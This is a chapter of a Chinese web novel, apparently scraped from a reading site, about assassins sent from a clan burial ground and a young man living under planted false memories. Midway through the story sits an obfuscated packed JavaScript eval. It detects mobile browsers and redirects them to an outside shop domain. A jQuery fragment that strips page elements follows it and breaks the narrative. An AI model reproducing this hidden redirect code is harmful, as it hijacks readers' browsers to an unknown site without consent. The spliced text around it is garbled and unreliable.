“酒。”
丁随云往树上扔了一个酒坛子,郁郁葱葱的枝叶之间伸出一只手稳稳接住,丁结雨坐在高高的树枝上,打开坛盖子,是杏花村的汾酒。
他们奉命出行,一则抓捕金陵子虚观的观主陈妙登,二则追杀罪人丁诘。
春色撩人,山桃烂漫,两只白杜鹃迷得团团转,耽搁了不少时间,每日在山中闲逛,晚上躲在道观的房梁上,低头看大殿里的陈妙登诵读晚课,打坐修炼。
也看观中的拂尘童子读书,挑水,他瘦条条的,眼睛很静气,跟桃花公主坟的孩子不一样,他们是动乱的。
丁随云和丁结雨尾随两个山人去了很多地方,去绿绮楼听邝徽弹琴,去鸿鹄书院看蒙童打架,在路边支个摊子义诊,在香火鼎盛的法会上主持祈福祭典。
春分那天,张武陵下山放风筝,沈琼宇和陈梦因约好在郊外等他。
两只白杜鹃没有放过风筝,也想去放风筝,掠过三棵桃树,蓦地一滞,一道视线透过茂密的枝叶定在他们身上,回头一看,陈妙登冲他们笑。
“二位朋友,武童去玩耍,你们跟着去干什么?”
原来早就发现了吗?丁随云和丁结雨跳下枝头,拔剑的拔剑,抽刀的抽刀,礼貌说道:“大老爷请你过府一叙。”
“这样可不是请人做客的意思。”
陈妙登不慌不忙,折下一段桃枝为剑,水一般柔软的攻势,却打破了刀的攻势,扰乱了剑的绞杀,刀剑抵不过春生之气,节节败退,突然眉心一痛,桃花枝正点在眉心。
丁结雨死寂的脑海霎时嘈杂起来,陌生的小孩和大人在叫他,“快来踢蹴鞠”“真笨啊,不会逃吗”“太可怜了”!
丁随云同样受了一剑在眉间,比丁结雨更庞大的回响在耳朵里炸开,她捶了几下脑袋吼道:“不要说话了!不要吵!安静,安静……江漱石!”
口中陡然迸出一个陌生的名字,她猛地吐出一口鲜血,被丁结雨拦腰抱起,头也不回地奔逃下山。
“跑那么快,”陈妙登皱起眉,“他们从哪里钻出来的?有病不知道看病吗?”
两只白杜鹃疯疯癫癫回到祖坟,情况却没有好转,双双暴动,大开杀戒,自此便做了督水工,督水工的日子丁结雨也不记得了,他空空地来,空空地去,无所谓是谁的表哥。
“哦——”丁悱恻有些反应不过来,“可上次你没说,结雨哥是我的表哥?”
丁询说瞎话:“当时忘了,昨日结雨哥醒来,大老爷就让我跟你言语一声,好让你放心。除夕之后,结雨哥的青铜棺材和牌位打造好了,他就去灵堂做抬棺人。”
丁结雨霸占了梅花树下的躺椅,纵然他的自愈力远超常人,穿透肩胛骨的伤势一时半会也好不了,血腥气和药味浓重。
“大老爷难道把我当成傻的?还是你把我当成傻的?结雨哥有哪里像是我的表哥?”
丁询强笑道:“本家兄弟,何必分得太清楚?”
也是这一瞬间,他跳出一个猜测:大老爷在试验换仙丹的极限?换仙丹,可不可以炼化一个坚韧不拔、心如磐石的人?
从前的外乡人只拥有一个名字和模棱两可的身世,而张武陵,丁谑给他亲人,给他青梅竹马,给他未过门的妻子,费尽心力构建“丁悱恻”的世界,企图让虚假的记忆更加具体。
“我来晚了!”丁谴肩膀上扛着布袋,从小径之间跑过来,到了石拱门里的小楼,满脸惊奇,“结雨哥不做抬棺人,到我这花圃做花农吗?”
他们在屋檐下赏花,丁悱恻和丁结雨的茶盏里盛了热茶,另外两人喝的冷酒。花圃打理得很干净,毛驴栓在树上,大白牙嚼着一个红萝卜。
“我去找迦陵频伽拿花种,梧桐雨还问我们什么时候再去喝酒。”丁谴跟个火炉一样,浑身热烘烘的,“这下好了,我们带结雨哥去吓他们一跳!”
如此其乐融融的场景在桃花公主坟不常见,丁询不由得感叹:“真像在做梦。”
丁谴嬉笑:“我也常常觉得自己在梦里。”
“真是梦就好了。”这是丁结雨醒来的第一句话,桌上的热茶迟迟未动,早已凉透。
“怎会是梦呢?”丁询的余光撇到丁悱恻,突地敛住笑容。
丁悱恻很沉默,凭窗观赏冰雪中的花海。
“在想夏无眠啊?”丁谴嘴贱。
夏无眠这个名字很陌生,不知哪个旁支合丁谑的心意,把她和丁悱恻凑成一对。丁询思及此处,决定说些高兴的:“大老爷要请个戏班子,二十八唱到年三十,唱三天大戏。”
“那可有好戏瞧了。”桃花公主坟一年到头少有热闹,不管黑喜鹊还是白杜鹃,都十分期盼。
暮雪忽至,丁询打算送丁结雨回义庄,然而他一动不动,浅色的瞳孔追随丁悱恻。丁悱恻便说他一起去义庄,顺路找迦陵频伽,托他送信。
“要送给谁?”丁询问。
丁悱恻拿出怀里的信,信封写“丁蝴蝶收”四个大字。
“丁蝴蝶?没听说过。”丁谴疑心大作。
“我们不是从小在族学长大吗?”丁悱恻迷惘。
丁询猜他是想起些什么,把从前的记忆合理化了,于是开口说道:“丁蝴蝶出去做生意,很久没回来。不如让结雨哥跟你去主宅住几天,我帮你把信给迦陵频伽。”
丁谴大叫:“我落了东西在迦陵频伽那,正好一块去!”他是醉翁之意不在酒,而在“丁蝴蝶”何许人也。
“不许偷看。”丁悱恻叮嘱道。
“谁稀罕。”
过恨水溪,桥边无人。
丁谴哼着歌拆开信封,还抽空嘲讽一句:“在人家面前装得一本正经,这会儿就偷看人家的信。”
丁询没搭理他,眼神扑进对折的信纸,上面画了一只蝴蝶,没有其他东西。丁谴把信纸转了一圈,没看出什么暗语、隐语,那就是用水墨晕染、翩翩然振翅的蝴蝶而已。
飞雪愈发大了。
丁悱恻和丁结雨进了里屋,倒了两杯酒,风声起时,丁结雨刹那间甩出氅衣,扑向一个空青色的身影,只闻布帛开裂,剑鸣声盖过风声。
“随云姐?走窗不走门,着实吓人。”
督水工好不容易聚齐了,却有糊涂虫两个,溃兵一名。
丁随云眼睛发直:“江漱石在哪?”
“这儿就你我三个,没其他人了。”
“我明明听见金铃……”丁随云那双浅色的琥珀瞳仁环顾四周,最终停留在丁悱恻身上,“又找错地方了吗?”
丁悱恻摆出第三个酒杯,满斟三杯酒:“你急匆匆的,是有什么难处?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584424|203007||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我在镜子里看到她,我一定要找到她!”
丁随云从来没有见过这面镜子,直到她想上吊,把绳子抛过房梁,铜镜突然掉下来,碎成两半,拼凑之后,裂痕穿过一个用力刻下的名字——江漱石。
“你要是见到江漱石,跟她说来找我。”丁随云言语怪诞,状若疯癫,小楼中的另外两人不以为奇,丁悱恻问:“她长什么样子?”
“不知道……”丁随云来时骤雪,去时天晴,仅凭一腔孤勇,徒劳无功地寻找一个名字。
山间的晚霞映入瞳孔,灿灿如熔金,主宅方向,炼丹炉升起烟青色的丹灰,死人香如轻飘飘的纱帐,笼罩住桃花公主坟。
“奇怪,病灶如此明显,为什么我却视而不见?这么久才想明白,我要做什么,我应该怎么做。”
丁悱恻脸上泛起微茫的笑意:“结雨哥,你和随云姐就是我的后尘吗?”
“张武陵”和“丁悱恻”孰真孰假,他拿笔写了一遍早有分晓,无论是运笔的手感,还是字与字衔接的流畅度,都指向记忆之外的名字。
他没有草率下定论,而是杜撰出一只蝴蝶试探反应,结果也不出所料,他们没有纠正这个错误。
张武陵始终没有恢复记忆,但从蛛丝马迹足以推测出自己的处境。他拈起一缕黑发,想着还有几次机会就要变成白杜鹃。
房中唯一的倾听者是无情的抬棺人,他不理解张武陵复杂的情绪,也没有去理解的念头。
所幸张武陵不需要答案,心中自有丘壑。他洗净酒杯,返回主宅,丁结雨跟在身后,仿佛一缕幽魂,霞光火红,退潮似的消失在地平线以下。
外面冷风呼啸,主宅灯火通明。张武陵沐浴洗漱后,点了盏油灯读书,夜深人静,光线暗淡,丁结雨用镊子挑灯芯,火一下子窜起来。
“多谢。”张武陵从书里抬起头。
丁结雨没有反应,白发散落,宛若白山茶,让人忍不住思索,这颗头颅从脖颈上掉落,是否也跟山茶花一样决绝。他盯着多宝格上的蹴鞠发呆,眼珠子忽然瞥向门口。
下一刻,丁询推门而入。
“丁蝴蝶的信拿给迦陵频伽了,他说会帮你送过去。”
他冻得鼻子耳朵通红,解下斗篷挂到屏风上,然后捞起桌上的鎏金手炉暖手。
“我路上遇到随云姐,她的状况不太好,要是暴动,阵仗不会小,江漱石是她凭空臆想出来的人物,镜中花怎可当真?”
“我也常有镜中观花、水中捞月之惑,与随云姐也算同病相怜了。”张武陵从多宝格上取下一金一银两个香球,“这个给你,前几天你说睡不好,我做了香丸,沉香为君药,加了一点梅花做辅药。”
“……为什么对我这么好?”丁询束手束脚,接住香球,前后左右地端详每一个细节,眼睫打下荫翳,像阴郁的泪沟。
张武陵有些恍惚,不禁摇了摇头,捧书而读,神情专注:“这就算好了吗?”
丁询默然无话,忽而动身,项链上的宝珠碰撞出清脆的响声:“天色已晚,我先走了。”
张武陵送他出门,转身回到屋中,略作思量,将紫檀烟杆旁边的蹴鞠拿在手中,抛得高高的,然后稳稳接住。
“想要?”张武陵问。
丁结雨不点头也不摇头。